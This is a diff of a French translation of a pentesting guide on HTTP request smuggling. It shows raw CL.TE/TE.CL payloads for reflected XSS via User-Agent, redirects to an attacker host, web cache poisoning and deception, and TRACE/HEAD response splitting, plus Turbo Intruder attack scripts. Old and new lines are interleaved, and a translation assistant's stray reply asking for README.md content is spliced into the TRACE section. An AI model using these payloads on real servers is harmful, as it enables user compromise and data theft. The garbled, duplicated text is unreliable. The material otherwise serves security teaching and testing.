- L'interaction avec les utilisateurs cibles **n'est pas requise**.
- Permet d'exploiter le XSS dans des parties de la requête qui sont **normalement inaccessibles**, comme les en-têtes de requête HTTP.
Dans les cas où un site est vulnérable à Reflected XSS via l'en-tête User-Agent, le payload suivant montre comment exploiter cette vulnérabilité:
Dans les scénarios où un site est susceptible au Reflected XSS via l'en-tête User-Agent, le payload suivant montre comment exploiter cette vulnérabilité :
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -519,34 +567,34 @@ A=
```
Ce payload est structuré pour exploiter la vulnérabilité de la manière suivante :
1. Initier une requête `POST`, apparemment classique, avec un en-tête `Transfer-Encoding: chunked` pour indiquer le début du smuggling.
1. Initier une requête `POST`, apparemment typique, avec un en-tête `Transfer-Encoding: chunked` pour indiquer le début du smuggling.
2. Suivi d'un `0`, marquant la fin du corps du message chunked.
3. Puis, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête ultérieure.
3. Ensuite, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête suivante.
En manipulant le `User-Agent` via le smuggling, le payload contourne les contraintes normales des requêtes, exploitant ainsi la vulnérabilité Reflected XSS d'une manière non standard mais efficace.
En manipulant le `User-Agent` via le smuggling, le payload contourne les contraintes normales des requêtes, exploitant ainsi la vulnérabilité Reflected XSS de manière non standard mais efficace.
#### HTTP/0.9
> [!CAUTION]
> Dans le cas où le contenu utilisateur est reflété dans une réponse avec un **`Content-type`** tel que **`text/plain`**, empêchant l'exécution du XSS. Si le serveur supporte **HTTP/0.9 il pourrait être possible de contourner cela**!
> En cas de réflexion du contenu utilisateur dans une réponse avec un **`Content-type`** tel que **`text/plain`**, cela empêche l'exécution du XSS. Si le serveur supporte **HTTP/0.9 il pourrait être possible de contourner cela** !
La version HTTP/0.9 précédait HTTP/1.0 et n'utilisait que les verbes **GET** et ne répondait pas avec des **headers**, juste le body.
La version HTTP/0.9 précédait la 1.0 et n'utilise que le verbe **GET** et **ne** répond pas avec des **headers**, seulement le corps.
Dans [**this writeup**](https://mizu.re/post/twisty-python), cela a été abusé avec un request smuggling et un **endpoint vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête en HTTP/0.9. Le paramètre qui était reflété dans la réponse contenait une **fausse réponse HTTP/1.1 (avec headers et body)**, si bien que la réponse contenait du code JS exécutable valide avec un `Content-Type` de `text/html`.
Dans [**this writeup**](https://mizu.re/post/twisty-python), cela a été exploité avec un request smuggling et un **endpoint vulnérable qui renverra l'entrée de l'utilisateur** pour smuggle une requête en HTTP/0.9. Le paramètre qui sera reflété dans la réponse contenait une **fausse réponse HTTP/1.1 (avec headers et body)**, de sorte que la réponse contienne du code JS exécutable valide avec un `Content-Type` de `text/html`.
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Exploiter les redirections sur site avec HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte du header `Host` dans l'URL de redirection. Ceci est courant sur des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans slash final entraîne une redirection pour inclure le slash :
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte provenant de l'en-tête `Host` dans l'URL de redirection. C'est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans slash terminal entraîne une redirection pour inclure le slash :
```
GET /home HTTP/1.1
Host: normal-website.com
```
Résulte en :
Résulte en:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Bien que cela semble inoffensif, ce comportement peut être manipulé en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
Bien que cela puisse sembler inoffensif, ce comportement peut être manipulé en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -560,7 +608,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Cette requête dissimulée pourrait provoquer que la prochaine requête utilisateur traitée soit redirigée vers un site contrôlé par un attaquant :
Cette smuggled request pourrait faire en sorte que la prochaine requête utilisateur traitée soit redirigée vers un attacker-controlled website:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -572,17 +620,17 @@ Résultats :
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Dans ce scénario, la requête d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en renvoyant du JavaScript malveillant en réponse.
Dans ce scénario, la requête d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en servant du JavaScript malveillant en réponse.
### Exploiter Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Le Web cache poisoning peut être exécuté si un composant de l'**infrastructure front-end met en cache du contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poison the cache**.
Web cache poisoning peut être exécuté si un composant de l'**infrastructure front-end met en cache du contenu**, typiquement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poison the cache**.
Précédemment, nous avons vu comment les réponses du serveur pouvaient être altérées pour renvoyer une erreur 404 (voir [Basic Examples](#basic-examples)). De la même façon, il est possible de tromper le serveur pour qu'il renvoie le contenu de `/index.html` en réponse à une requête pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut entraîner un Denial of Service (DoS).
Précédemment, nous avons observé comment les réponses du serveur pouvaient être altérées pour renvoyer une erreur 404 (voir [Basic Examples](#basic-examples)). De la même manière, il est faisable de tromper le serveur afin qu'il renvoie le contenu de /index.html en réponse à une requête pour /static/include.js. Par conséquent, le contenu de /static/include.js est remplacé dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs et pouvant entraîner un Denial of Service (DoS).
Cette technique devient particulièrement puissante si une **Open Redirect vulnerability** est découverte ou s'il existe une **on-site redirect to an open redirect**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script contrôlé par l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le `/static/include.js` mis à jour.
Cette technique devient particulièrement puissante si une **Open Redirect vulnerability** est découverte ou s'il existe une **on-site redirect to an open redirect**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de /static/include.js par un script contrôlé par l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le /static/include.js mis à jour.
Ci-dessous une illustration de l'exploitation de **cache poisoning combined with an on-site redirect to open redirect**. L'objectif est de modifier le contenu en cache de `/static/include.js` pour servir du code JavaScript contrôlé par l'attaquant :
Ci-dessous une illustration de l'exploitation de **cache poisoning combined with an on-site redirect to open redirect**. L'objectif est d'altérer le contenu du cache de /static/include.js afin de servir du code JavaScript contrôlé par l'attaquant :
```
POST / HTTP/1.1
Host: vulnerable.net
@ -600,7 +648,7 @@ Content-Length: 10
x=1
```
Remarquez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera redirigée vers `/post?postId=4`, en utilisant la **Host header value** pour déterminer le domaine. En modifiant le **Host header**, l'attaquant peut rediriger la requête vers son domaine (**on-site redirect to open redirect**).
Remarquez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera redirigée vers `/post?postId=4`, en utilisant la **Host header value** pour déterminer le domaine. En modifiant la **Host header**, l'attaquant peut rediriger la requête vers son domaine (**on-site redirect to open redirect**).
Après un **socket poisoning** réussi, une **GET request** pour `/static/include.js` doit être initiée. Cette requête sera contaminée par la précédente requête **on-site redirect to open redirect** et récupérera le contenu du script contrôlé par l'attaquant.
@ -613,7 +661,7 @@ Par la suite, toute requête pour `/static/include.js` servira le contenu mis en
> - Dans **web cache poisoning**, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
> - Dans **web cache deception**, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu depuis le cache.
L'attaquant forge une smuggled request qui récupère du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant:
L'attaquant forge une smuggled request qui récupère du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant :
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -624,17 +672,18 @@ L'attaquant forge une smuggled request qui récupère du contenu sensible spéci
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Si cette requête détournée empoisonne une entrée de cache destinée au contenu statique (par ex., `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
Si cette requête dissimulée empoisonne une entrée de cache destinée à du contenu statique (par ex., `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
### Abuser TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abus de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Ceci est dû au fait que cette méthode renvoie tout header envoyé au serveur comme partie du body de la réponse. Par exemple:
[**In this post**](https://portswigger.net/research/trace-desync-attack) il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser via HTTP Request Smuggling. En effet, cette méthode renverra tout en-tête envoyé au serveur dans le corps de la réponse. Par exemple :
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Envoyez le contenu du fichier src/pentesting-web/http-request-smuggling/README.md à traduire. Je préserverai exactement le markdown, les tags, les chemins et le code selon vos consignes.
Envoyez le contenu du fichier README.md à traduire.
Je le traduirai en français en conservant exactement la même syntaxe Markdown/HTML et en respectant vos consignes (ne pas traduire le code, les noms de techniques, mots comme "leak", "pentesting", les plateformes cloud, les liens, chemins et tags).
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -645,15 +694,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Un exemple sur la façon d'abuser de ce comportement serait de **smuggle first a HEAD request**. Cette requête recevra en réponse uniquement les **headers** d'une requête GET (**`Content-Type`** parmi eux). Et smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** dans la réponse.\
Un exemple d'abus de ce comportement consisterait à **smuggle first a HEAD request**. Cette requête ne renverra que les **headers** d'une GET request (**`Content-Type`** parmi eux). Et smuggle **immediately after the HEAD a TRACE request**, qui **reflétera les données envoyées**.\
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la TRACE request sera traitée comme le corps de la HEAD response, reflétant donc des données arbitraires**.\
Cette réponse sera envoyée à la requête suivante sur la connexion, donc cela pourrait être **used in a cached JS file for example to inject arbitrary JS code**.
### Abuser TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
La lecture de [**this post**](https://portswigger.net/research/trace-desync-attack) suggère une autre façon d'abuser de la méthode TRACE. Comme commenté, en smuggling une requête HEAD et une requête TRACE, il est possible de **control some reflected data** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
Il est conseillé de suivre [**this post**](https://portswigger.net/research/trace-desync-attack) qui propose une autre façon d'abuser de la méthode TRACE. Comme indiqué, en smuggling une HEAD request et une TRACE request, il est possible de **contrôler certaines données reflétées** dans la réponse à la HEAD request. La longueur du corps de la HEAD request est essentiellement indiquée dans l'entête `Content-Length` et est constituée par la réponse à la TRACE request.
Donc, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet indiqué par le Content-Length, permettant à un attaquant de contrôler complètement la requête vers la réponse suivante (ce qui pourrait être utilisé pour effectuer un cache poisoning).
Ainsi, l'idée suivante est que, connaissant ce Content-Length et les données fournies dans la TRACE response, il est possible de faire en sorte que la TRACE response contienne une HTTP response valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête correspondant à la réponse suivante (ce qui pourrait être utilisé pour effectuer un cache poisoning).
Exemple:
```
@ -674,7 +723,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Générera ces réponses (notez comment la réponse HEAD a un Content-Length faisant que la réponse TRACE fait partie du corps de la HEAD et qu'une fois que le Content-Length de la HEAD prend fin, une réponse HTTP valide est smuggled):
Générera ces réponses (notez comment la réponse HEAD a un Content-Length, ce qui fait que la réponse TRACE fait partie du corps de la HEAD et, une fois que le Content-Length de la HEAD prend fin, une réponse HTTP valide est smuggled):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -724,7 +773,7 @@ request-smuggling-in-http-2-downgrades.md
### CL.TE
Source: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
Source : [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
@ -765,7 +814,7 @@ table.add(req)
```
### TE.CL
De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
De : [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -809,14 +858,14 @@ table.add(req)
```
## Outils
- HTTP Hacker (Burp BApp Store) visualiser la concaténation/le framing et le comportement HTTP bas niveau
- HTTP Hacker (Burp BApp Store) visualiser la concaténation/framing et le comportement HTTP bas niveau
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Cet outil est un HTTP Fuzzer basé sur une grammaire, utile pour détecter des incohérences étranges liées au request smuggling.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Cet outil est un HTTP Fuzzer basé sur une grammaire, utile pour trouver des anomalies de request smuggling.
## Références
@ -829,10 +878,11 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Attention aux faux fauxpositifs : comment distinguer HTTP pipelining du request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- Attention aux faux positifs : comment distinguer HTTP pipelining du request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- Desync Attacks pilotés par le navigateur [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy desync côté client [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -15,7 +15,8 @@
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
async function getSponsor() {
const url = "https://book.hacktricks.wiki/sponsor"
const currentUrl = encodeURIComponent(window.location.href);
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
try {
const response = await fetch(url, { method: "GET" })
if (!response.ok) {